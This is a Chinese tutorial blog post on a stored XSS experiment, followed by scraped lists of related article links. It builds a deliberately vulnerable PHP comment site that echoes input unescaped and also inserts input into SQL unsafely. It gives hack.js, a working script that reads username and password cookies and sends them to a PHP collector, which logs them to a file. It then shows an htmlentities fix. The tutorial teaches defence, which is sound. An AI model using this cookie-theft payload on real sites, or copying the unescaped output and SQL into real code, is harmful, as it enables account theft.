简单XSS跨站脚本攻击实验
原理:恶意Web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
大概流程是,建立一个用于发表评论的网页,然后XSS攻击者通过XSS漏洞进行攻击获取其他访问该网页的用户的cookie信息并记录到攻击者设定的文件中。
首先,我们得先配置好PHP的运行环境,这个网上有一大堆资料和软件可以下载,我这里安装的是wampserver,同时为了方便操作安装了MySQL workbench。
接着,搭建数据库,用于储存用户的评论
create database test;
use test;
create table comments
(
id int(16) AUTO_INCREMENT,
uname varchar(1600),
ucomment varchar(2000),
primary key(id)
);
用户登录界面login.php:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>登录</title>
<style type="text/css">
#login{text-align:center;margin-top:100px;}
</style>
</head>
<?php
if(isset($_POST['submit'])){
//设置cookie
setcookie("username", $_POST["username"],time()+3600*24);
setcookie("password", $_POST["password"],time()+3600*24);
echo "<meta http-equiv=refresh content='0;url=home.php'>";//跳转到home.php
}
?>
<body>
<div id="login">
<form method="post">
<p>用户名: <input type="text" name="username" ></p>
<p> 密码: <input type="text" name="password"></p>
<button type="submit" name="submit" style="width:60px;height:30px;">登录</button>
</form>
</div>
</body>
</html>
用户评论界面home.php:
<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">发表评论</div>
<div style="padding:6px;">
昵称:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
评论:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">评论集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');//连接数据库
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo $row['uname'];?></span><br/>
<span name="comment" >
<?php echo $row['ucomment'];?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>
提交评论至数据库中list.php:
<?php
$link = mysql_connect('localhost','root','123456'); //连接数据库
mysql_query('set names gbk');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
echo 'Connection OK';
$name = $_POST["name"];
$comment = $_POST["comment"];
mysql_select_db('test',$link);
$query="insert into comments(uname,ucomment) values ('{$name}','{$comment}');";
if (!mysql_query($query,$link))
{
die('Error: ' . mysql_error());
}
$result=mysql_query("SELECT uname,ucomment FROM comments");
while($row=mysql_fetch_array($result))//通过循环展示数据内容
{
echo $row["uname"] . "<br/>";
echo $row["ucomment"] . "<br/>";
}
mysql_close($link); //关闭数据库连接
echo "<meta http-equiv=refresh content='0;url=home.php'>";//返回home.php
?>
攻击者所用的脚本攻击hack.js:
var username = getCookie('username');
var password = getCookie('password');
var script = document.createElement('script');
script.src = 'http://localhost/test/index.php?username=' + username + '&password=' + password; //保存数据的页面的位置
document.body.appendChild(script); function getCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
return null;
}
hack.js传送数据到index.php
<?php
if(!empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password']; try{
$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$username\t $password\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>
然后攻击者先登录该评论页面,然后发表包含如下语句的评论:
<script type="text/javascript" src="http://localhost/test/hack.js"></script>
则当其他用户浏览该评论页面时,这段恶意脚本就会执行,从而执行hack.js的代码将用户的cookie发送给index.php从而被保存到攻击者的文件中。
如何防止这种攻击呢?
上述XSS攻击的核心是利用了脚本注入,对用户的输入没有做出检查,信赖用户输入,因此如果我们不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题。更简单一点说,不要直接echo输出,换成用PHP的htmlentities函数将所有的评论不是以嵌入HTML的形式,而是以纯文本直接展示在页面中,这样无论如何都可以确保不会修改到HTML的DOM元素,而导致恶意代码的嵌入。
修改后的代码如下:
<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<?php
function ReplaceScript(&$txt)
{
$str="' <script[^>]*?>.*?</script>'si ";
print $txt=preg_replace("$str","",$txt);
}
?>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">发表评论</div>
<div style="padding:6px;">
昵称:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
评论:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">评论集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo htmlentities($row['uname'],ENT_QUOTES,"GB2312");?></span><br/>
<span name="comment" >
<?php $new = htmlentities($row['ucomment'],ENT_QUOTES,"GB2312");echo $new;?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>
简单XSS跨站脚本攻击实验的更多相关文章
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- xss(跨站脚本攻击),crsf(跨站请求伪造),xssf
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)
转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- JAVA覆写Request过滤XSS跨站脚本攻击
注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...
- PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)
废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...
随机推荐
- 存储结构与邻接矩阵,深度优先和广度优先遍历及Java实现
如果看完本篇博客任有不明白的地方,可以去看一下<大话数据结构>的7.4以及7.5,讲得比较易懂,不过是用C实现 下面内容来自segmentfault 存储结构 要存储一个图,我们知道图既有 ...
- Alamofire源码解读系列(七)之网络监控(NetworkReachabilityManager)
Alamofire源码解读系列(七)之网络监控(NetworkReachabilityManager) 本篇主要讲解iOS开发中的网络监控 前言 在开发中,有时候我们需要获取这些信息: 手机是否联网 ...
- javaList容器中容易忽略的知识点
在集合类框架中,List是使用比较多的一种 List |---Arraylist 内部维护的是一个数组,查找快增删慢 |---LinkedList 底层是链表,增删快查询慢. |---Vctor线程安 ...
- cuda编程学习3——VectorSum
这个程序是把两个向量相加 add<<<N,1>>>(dev_a,dev_b,dev_c);//<N,1>,第一个参数N代表block的数量,第二个参数1 ...
- autoLayer:一基本布局
我不会写博客,写的不好请物见怪,这个autoLayer我就直接上图了: 本人环境:IDE(Xcode6)SDK(IOS8) 准备工作:找一个横图psd(由于我不会切图,我只会简单的描述一下图片处理), ...
- 用PHPExcel类读取excel文件的内容
这里对PHPExcel类不做介绍,有兴趣的朋友可以自己查阅资料 在classes文件夹下有个PHPExcel.php文件,这个文件是这个类库的主要入口文件,在用之前,要引入这个类 其他的类,在此类中会 ...
- 如何用 JavaScript 下载文件
简介 我们知道,下载文件是一个非常常见的需求,但由于浏览器的安全策略的限制,我们通常只能通过一个额外的页面,访问某个文件的 url 来实现下载功能,但是这种用户体验非常不好. 幸好,HTML 5 里面 ...
- windows 安装Beautiful Soup(转)
Beautiful Soup是一个Python的一个库,主要为一些短周期项目比如屏幕抓取而设计.有三个特性使得它非常强大: 1.Beautiful Soup提供了一些简单的方法和Python术语,用于 ...
- vue的使用总结
1.vue的生命周期
- jQuery ajax 与服务器交互方法
1.HTML <table> <tr> <td>用户名:</td> <td><input type="text" ...